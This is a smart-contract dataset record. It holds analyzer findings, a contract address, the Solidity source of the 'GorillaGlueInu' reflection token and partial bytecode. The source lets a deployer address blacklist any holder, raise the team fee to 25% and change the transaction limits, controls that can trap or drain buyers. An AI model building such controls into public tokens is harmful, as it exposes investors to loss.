ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506017828161398857fe5b04600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600a85026040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600f85026040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925601e85026040518082815260200191505060405180910390a36001905092915050565b6000600262024d6d600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540102905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613c3257600080fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505056fea26469706673582212200e71bc7b7a4374472ed033073a6b7bacebaadf9465476859098cc08785d1b07564736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,146 |
0xaf0c5e09454b7acac9c758b56823e98a353c48a6
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GorillaGlueInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GorillaGlueInu";
string private constant _symbol = "GGI";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 4;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _Deployer;
address payable private _devWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable devfeeAddr, address payable depAddr) {
_Marketingfund = devFundAddr;
_Deployer = depAddr;
_devWalletAddress = devfeeAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_devWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 4;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
// This is done to prevent the taxes from filling up in the router since compiled taxes emptying can impact the chart.
// This reduces the impact of taxes on the chart.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(6).mul(4));
_devWalletAddress.transfer(amount.div(6).mul(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 25000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Deployer);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Deployer);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _Deployer);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public {
require(_msgSender() == _Deployer);
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public {
require(_msgSender() == _Deployer);
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external {
require(_msgSender() == _Deployer);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external {
require(_msgSender() == _Deployer);
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external {
require(_msgSender() == _Deployer);
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
}
|
0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063cba0e9961161006f578063cba0e9961461044f578063d00efb2f1461048c578063d543dbeb146104b7578063dd62ed3e146104e0578063e01af92c1461051d578063e47d60601461054657610156565b806395d89b4114610367578063a9059cbb14610392578063b515566a146103cf578063c0e6b46e146103f8578063c3c8cd8014610421578063c9567bf91461043857610156565b8063313ce56711610108578063313ce5671461027d5780635932ead1146102a85780636fc3eaec146102d157806370a08231146102e8578063715018a6146103255780638da5cb5b1461033c57610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c357806323b872dd146101ee578063273123b71461022b578063286671621461025457610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610583565b60405161017d91906133be565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612ebe565b6105c0565b6040516101ba91906133a3565b60405180910390f35b3480156101cf57600080fd5b506101d86105de565b6040516101e59190613580565b60405180910390f35b3480156101fa57600080fd5b5061021560048036038101906102109190612e6f565b6105ee565b60405161022291906133a3565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d9190612de1565b6106c7565b005b34801561026057600080fd5b5061027b60048036038101906102769190612f8d565b610783565b005b34801561028957600080fd5b5061029261083f565b60405161029f91906135f5565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190612f3b565b610848565b005b3480156102dd57600080fd5b506102e66108fa565b005b3480156102f457600080fd5b5061030f600480360381019061030a9190612de1565b61096c565b60405161031c9190613580565b60405180910390f35b34801561033157600080fd5b5061033a6109bd565b005b34801561034857600080fd5b50610351610b10565b60405161035e91906132d5565b60405180910390f35b34801561037357600080fd5b5061037c610b39565b60405161038991906133be565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612ebe565b610b76565b6040516103c691906133a3565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612efa565b610b94565b005b34801561040457600080fd5b5061041f600480360381019061041a9190612f8d565b610cb0565b005b34801561042d57600080fd5b50610436610d8c565b005b34801561044457600080fd5b5061044d610e06565b005b34801561045b57600080fd5b5061047660048036038101906104719190612de1565b611369565b60405161048391906133a3565b60405180910390f35b34801561049857600080fd5b506104a16113bf565b6040516104ae9190613580565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d99190612f8d565b6113c5565b005b3480156104ec57600080fd5b5061050760048036038101906105029190612e33565b6114d9565b6040516105149190613580565b60405180910390f35b34801561052957600080fd5b50610544600480360381019061053f9190612f3b565b611560565b005b34801561055257600080fd5b5061056d60048036038101906105689190612de1565b6115de565b60405161057a91906133a3565b60405180910390f35b60606040518060400160405280600e81526020017f476f72696c6c61476c7565496e75000000000000000000000000000000000000815250905090565b60006105d46105cd611634565b848461163c565b6001905092915050565b6000670de0b6b3a7640000905090565b60006105fb848484611807565b6106bc84610607611634565b6106b785604051806060016040528060288152602001613ce260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061066d611634565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120cd9092919063ffffffff16565b61163c565b600190509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610708611634565b73ffffffffffffffffffffffffffffffffffffffff161461072857600080fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611634565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b600181101580156107f6575060198111155b610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90613440565b60405180910390fd5b8060098190555050565b60006009905090565b610850611634565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d4906134c0565b60405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093b611634565b73ffffffffffffffffffffffffffffffffffffffff161461095b57600080fd5b600047905061096981612131565b50565b60006109b6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612252565b9050919050565b6109c5611634565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a49906134c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4747490000000000000000000000000000000000000000000000000000000000815250905090565b6000610b8a610b83611634565b8484611807565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd5611634565b73ffffffffffffffffffffffffffffffffffffffff1614610bf557600080fd5b60005b8151811015610cac576001600c6000848481518110610c40577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ca490613896565b915050610bf8565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cf1611634565b73ffffffffffffffffffffffffffffffffffffffff1614610d1157600080fd5b60008111610d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4b90613480565b60405180910390fd5b610d83612710610d7583670de0b6b3a76400006122c090919063ffffffff16565b61233b90919063ffffffff16565b600b8190555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dcd611634565b73ffffffffffffffffffffffffffffffffffffffff1614610ded57600080fd5b6000610df83061096c565b9050610e0381612385565b50565b610e0e611634565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e92906134c0565b60405180910390fd5b601260149054906101000a900460ff1615610eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee290613540565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7a30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a764000061163c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc057600080fd5b505afa158015610fd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff89190612e0a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105a57600080fd5b505afa15801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612e0a565b6040518363ffffffff1660e01b81526004016110af9291906132f0565b602060405180830381600087803b1580156110c957600080fd5b505af11580156110dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111019190612e0a565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118a3061096c565b600080611195610b10565b426040518863ffffffff1660e01b81526004016111b796959493929190613342565b6060604051808303818588803b1580156111d057600080fd5b505af11580156111e4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112099190612fb6565b5050506001601260166101000a81548160ff0219169083151502179055506000601260176101000a81548160ff02191690831515021790555068015af1d78b58c40000601381905550436014819055506001601260146101000a81548160ff021916908315150217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611313929190613319565b602060405180830381600087803b15801561132d57600080fd5b505af1158015611341573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113659190612f64565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60145481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611406611634565b73ffffffffffffffffffffffffffffffffffffffff161461142657600080fd5b60008111611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146090613480565b60405180910390fd5b611497606461148983670de0b6b3a76400006122c090919063ffffffff16565b61233b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6013546040516114ce9190613580565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115a1611634565b73ffffffffffffffffffffffffffffffffffffffff16146115c157600080fd5b80601260166101000a81548160ff02191690831515021790555050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613520565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561171c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171390613420565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117fa9190613580565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186e90613500565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118de906133e0565b60405180910390fd5b6000811161192a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611921906134e0565b60405180910390fd5b611932610b10565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119a05750611970610b10565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561200a57601260179054906101000a900460ff1615611bd3573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a2257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a7c5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad65750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bd257601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b1c611634565b73ffffffffffffffffffffffffffffffffffffffff161480611b925750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b7a611634565b73ffffffffffffffffffffffffffffffffffffffff16145b611bd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc890613560565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611c1657601354811115611c1557600080fd5b5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cba5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d105750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d1957600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611dc45750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e325750601260179054906101000a900460ff165b15611ed35742600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611e8257600080fd5b600f42611e8f91906136b6565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ede3061096c565b9050600b548110611eef57600b5490505b6000600a548210159050601260159054906101000a900460ff16158015611f225750601260169054906101000a900460ff165b8015611f2b5750805b8015611f855750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611fdf5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561200757611fed826123